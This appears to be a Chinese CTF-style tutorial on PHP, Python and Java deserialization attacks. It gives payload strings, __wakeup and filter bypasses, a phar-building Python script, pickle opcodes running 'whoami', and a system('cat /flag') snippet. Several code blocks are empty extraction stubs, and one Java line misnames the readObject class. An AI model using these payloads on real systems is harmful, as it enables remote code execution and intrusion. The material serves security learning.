概念:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象。
问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。
序列化格式
对象类型:对象名长度:”对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:”变量名2”; 参数2类型:参数2长度:参数2;… …}
如:
O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;} a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
对象类型:Class-O,Array-a。
变量和参数类型:string-s,int-i,Array-a,指针引用-R。
序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。
对于指针引用:
在序列化中,第一个对象是类,第二个对象才是类里的对象。
类型 | 结构 |
---|---|
字符串 | s:size:value; |
整数 | i:value; |
布尔值 | b:value;(保存1或0) |
空值 | N; |
数组 | a:size:{key definition;value definition;(repeated per element)} |
对象 | O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)} |
指针引用 | R:2; |
三种访问控制的区别
public: 变量名
protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名 或 %00 + * + %00 + 变量名)
private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名 或 %00 + 类名 + %00 + 变量名)
注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)
魔术方法
1 | __construct() #每次创建新对象时先调用此方法 |
绕过方法
__wakeup()失效
PHP5<5.6.25 或 PHP7<7.0.10
当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。
如:
O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
PHP7.3
Serialize
特性:O
改为C
(需要利用内置了Serializable
接口的类)PHP RFC: New custom object serialization mechanism
内置类 ArrayObject:
1
2
3
4$arr=array("a"=>1,"b"=>2);
$ao=new ArrayObject($arr);
echo serialize($ao);
//C:11:"ArrayObject":45:{x:i:0;a:2:{s:1:"a";i:1;s:1:"b";i:2;};m:a:0:{}}其他类:
ArrayIterator / RecursiveArrayIterator / SplObjectStorage
绕过preg_match() 匹配的关键字
PHP低版本
可使用
+
,<
绕过正则,如:O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:<4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
普通字符串
PHP序列化中存在序列化类型
S
,相较于小写的s
,大写S
是escaped字符串,会将\xx
形式作为一个16进制字符处理,如:n
的十六进制是6e
,所以把name
替换为\6eame
即可绕过。/^O:\d+/
serialize(array($data))
绕过 throw new Exception
去掉最后的大括号,利用反序列化报错来防止进入 Exception
GC
a:2:{i:0;O:7:"getflag":{}i:0;i:0;}
因为反序列化的过程是顺序执行的,所以到第一个属性时,会将
Array[0]
设置为getflag
对象,同时我们又将Array[0]
设置为null
,这样前面的getflag
对象便丢失了引用,就会被GC所捕获,便可以执行__destruct
。
绕过 md5+sha1 验证
判断条件:
1 | if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ) { |
传入2个不相等对象,但是他们的 __toString
魔法函数返回的一样,可以绕过 if,且eval转为字符串时我们也使其可以被执行。
查找带 __toString
的类,满足的有 Exception/ErrorException/Error/ParseError/mysqli_sql_exception
等,以 Exception
为例,construct函数为:
public function __construct($message = "", $code = 0, Throwable $previous = null)
它返回的是一个字符串类型的异常信息,可以控制传入 message
和 code
的值不同即可。
1 | $cmd ='system("cat /flag");?>'; |
unserialize_callback_func + spl_autoload
在 php manual 里面有一个很有趣的变量配置,如果在反序列化的时候需要实例化一个未定义的类,可以设置回调函数以供调用,最关键的是这个配置是 PHP_IN_ALL 的,所以可以直接通过 ini_set 来设置。
注意: unserialize_callback_func 指令
如果在反序列化的时候需要实例化一个未定义类,则可以设置回调函数以供调用(以免得到的是不完整的 object “__PHP_Incomplete_Class”)。可通过 php.ini、ini_set() 或 .htaccess 定义‘unserialize_callback_func’。每次实例化一个未定义类时它都会被调用。若要禁止这个特性,只需置空此设定。
可以通过 spl_autoload 来自动加载未定义的类 settings,会默认加载当前目录下,以settings类名为文件名,php 或者 inc 为后缀的文件,这样就和 settings.inc 联系到了一起。
spl_autoload — __autoload()函数的默认实现
spl_autoload ( string
$class_name
, string$file_extensions
= ? ) : voidfile_extensions: 在默认情况下,本函数先将类名转换成小写,再在小写的类名后加上 .inc 或 .php 的扩展名作为文件名,然后在所有的包含路径(include paths)中检查是否存在该文件。
反序列化字符逃逸
PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的。
例子:
1 |
|
正常情况下的序列化结果为
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
。那如果把
username
换成peri0dxxx
,其处理后的序列化结果为a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}
,这个时候肯定会反序列化失败,可以看到
s:9:"peri0dyyyyyy"
比以前多了 3 个字符。回到前面,
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
它在进行修改密码之后就变为
a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}
。可以看到需要添加的字符串
";i:1;s:6:"123456";}
长度为20
。假设要在
peri0d
后面填充4
个字符,那么就是s:30:'peri0dxxxx";i:1;s:6:"123456";}';
在经过处理之后就是
s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';
读取
30
个字符为peri0dyyyyyyyy";i:1;s:6:"12345
。这就需要继续增加填充字符,在有
20
个x
时,就实现了密码的修改。$6+x+20=6+2x \Rightarrow x=20$
可以看到,这和
username
前面的peri0d
是毫无关系的,只和做替换的字符串有关。
phar反序列化
phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。
流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化
最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。
利用条件
phar文件要能够上传到服务器端。能触发的文件操作函数:
include、file_get_contents、file_put_contents、copy、file、file_exists、is_executable、is_file、is_dir、is_link、is_writable、fileperms、fileinode、filesize、fileowner、filegroup、fileatime、filemtime、filectime、filetype、getimagesize、exif_read_data、stat、lstat、touch、md5_file
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
生成phar文件
首先得生成一个含有序列化metadata的phar文件。php提供一个类允许我们处理phar文件相关操作。注意要设置php.ini中phar.readonly=Off。
1 |
|
tar包装:
1 |
|
zip包装:
1 |
|
上传到服务器
phar文件是很容易绕过上传限制的,首先它的后缀是不限制的,改成什么phar://协议都可以解析。
前面这个标志的格式为xxx<?php xxx; __HALT_COMPILER();?>
前面内容不限,这样可以在前面添加注入GIF98a
这样的文件头绕过上传限制。
反序列化执行
直接执行测试的那份代码,phar://协议在file_get_contents函数中解析phar文件,将元数据反序列化执行魔法函数。
绕过
phar://不能出现在首部
1
2
3compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://关键字
绕过如
HALT_COMPILER
,使用gzip
命令处理phar文件:gzip phar.jpg
修改phar文件
改phar文件内容,因phar文件是有检验和的,所以直接改phar文件内容不可行。
修复签名数据:
1
2
3
4
5
6from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件构造phar结构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188from zlib import crc32
from struct import pack
from time import time
from hashlib import md5, sha1, sha256, sha512
class PHAR:
# 一些常量
STUB = b"__HALT_COMPILER(); ?>"
GBMB = b"GBMB"
MD5 = b"\x01\x00\x00\x00"
SHA1 = b"\x02\x00\x00\x00"
SHA256 = b"\x03\x00\x00\x00"
SHA512 = b"\x04\x00\x00\x00"
def __init__(self,
prefix: str,
manifestData: dict,
filesData: list,
signatureType: MD5
):
self.prefix = prefix.encode()
self.manifestData = manifestData
self.filesData = filesData
self.signatureType = signatureType
def parse(self):
# 检查清单的参数
if any(self.manifestData.get(each) is None for each in ["loc", "metaData"]):
return False
# 至少要归档一个文件
if len(self.filesData) == 0:
return False
# 遍历检查文件的参数
for file in self.filesData:
if any(file.get(each) is None for each in ["fileName", "fileContent", "loc", "metaData"]):
return False
# 将字符串转换字节流
self.manifestData["metaData"] = self.manifestData["metaData"].encode()
for file in self.filesData:
for key, value in file.items():
if key in ["fileName", "fileContent", "metaData"]:
file[key] = value.encode()
return True
def generate(self):
# 检查参数
if not self.parse():
return b""
phar = b""
# stub
stub = self.stub()
# manifest
manifest = self.manifest()
files = self.file()
# content
contents = self.content()
# 计算总长度
manifest = pack("I", len(manifest + files + contents)) + manifest[4:]
# signature
signature = self.signature(stub + manifest + files + contents)
# 重新拼接
phar += stub + manifest + files + contents + signature
return phar
def stub(self):
return self.prefix + self.STUB + b"\r\n"
def manifest(self):
# 归档文件数量
manifest = pack("I", len(self.filesData))
# 版本
manifest += b"\x11\x00"
# 标识
manifest += b"\x00\x00\x01\x00"
# 别名长度
manifest += b"\x00\x00\x00\x00"
# 如果将序列化内容存储于此
if self.manifestData["loc"]:
# metadata长度
manifest += pack("I", len(self.manifestData["metaData"]))
# metadata内容
manifest += self.manifestData["metaData"]
else:
manifest += pack("I", 0)
# 补足长度
manifest = pack("I", 0) + manifest
return manifest
def file(self):
files = b""
# 遍历归档的文件
for file in self.filesData:
# 文件名长度
files += pack("I", len(file["fileName"]))
# 文件名
files += file["fileName"]
# 未压缩大小
files += pack("I", len(file["fileContent"]))
# 时间戳
files += pack("I", int(time()))
# 压缩后大小
files += pack("I", len(file["fileContent"]))
# CRC32校验
files += pack("I", crc32(file["fileContent"]))
# 文件权限
files += pack("I", 0o666)
# 如果将序列化内容存储于此
if file["loc"]:
# metadata长度
files += pack("I", len(file["metaData"]))
# metadata内容
files += file["metaData"]
else:
files += pack("I", 0)
return files
def content(self):
contents = b""
# 遍历所有归档文件
for file in self.filesData:
contents += file["fileContent"]
return contents
def signature(self, content):
signature = b""
# 签名内容
if self.signatureType == self.MD5:
signature = md5(content).digest()
if self.signatureType == self.SHA1:
signature = sha1(content).digest()
if self.signatureType == self.SHA256:
signature = sha256(content).digest()
if self.signatureType == self.SHA512:
signature = sha512(content).digest()
# 签名标志
signature += self.signatureType
# GBMB标志
signature += self.GBMB
return signature
if __name__ == '__main__':
pharData = {
"prefix": "123",
"manifestData": {
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
"filesData": [
{
"fileName": "e.txt",
"fileContent": "dsadawada",
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
{
"fileName": "c.txt",
"fileContent": "123",
"loc": True,
"metaData": """O:1:"e":1:{s:1:"a";s:4:"text";}""",
},
],
"signatureType": PHAR.SHA1,
}
p = PHAR(**pharData).generate()
with open("a.phar", "wb") as f:
f.write(p)
PHP session反序列化
PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来进行确定的,默认是以文件的方式存储。存储的文件是以sess_[sessionid]来进行命名的。
有三种方式:
默认使用php:键名|键值(经过序列化函数处理的值)
name|s:6:"1FonlY";
php_serialize:经过序列化函数处理的值
a:1:{s:4:"name";s:6:"1FonlY";}
php_binary:键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值
names:6:"1FonlY";
不可显的为
EOT
,name
的长度为4
4在ASCII 表中就是 EOT
当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。
比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;}
,
如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;}
,在使用php_serialize
引擎的时候,
序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";}
,
这时,将a:1:{s:4:"name";s:31:"
当做键名,O:7:"_1FonlY":1:{s:3:"cmd";N;}
当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击。
Soap反序列化
SOAP
: Simple Object Access Protocol
简单对象访问协议。
采用HTTP作为底层通讯协议,XML作为数据传送的格式,正常情况下的SoapClient
类,调用一个不存在的函数,会去调用__call
方法。
CRLF漏洞
SOAPAction
处可控,可以把\x0d\x0a
注入到SOAPAction
,POST请求的header就可以被控制。
但Content-Type
在SOAPAction
的上面,就无法控制Content-Type
,也就不能控制POST的数据。
在header里User-Agent
在Content-Type
前面,user_agent
同样可以注入CRLF
,控制Content-Type
的值。
1 |
|
如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。
Deserialization + __call + SoapClient + CRLF = SSRF
python反序列化
与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
1 | # poc |
RCE
R指令:
1 | b'''cos |
i指令:
1 | b'''(S'whoami' |
o指令:
1 | b'''(cos |
工具
更方便的opcode生成工具: EddieIvan01/pker
参考:
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
Java反序列化
Java序列化是指把Java对象转换为字节序列的过程,ObjectOutputStream
类的 writeObject()
方法可以实现序列化。
Java反序列化是指把字节序列恢复为Java对象的过程,ObjectOutputStream
类的 readObject()
方法用于反序列化。
一个类要能反序列化必须满足下面2个条件:
- 该类必须实现
java.io.Serializable
接口; - 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
1 | public class User implements Serializable { |
绕过
readUnshared()
readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。
JDBC反序列化
框架反序列化(CVE)
Yii2
Laravel
ThinkPHP
v5.1.x
PHPGGC
PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具。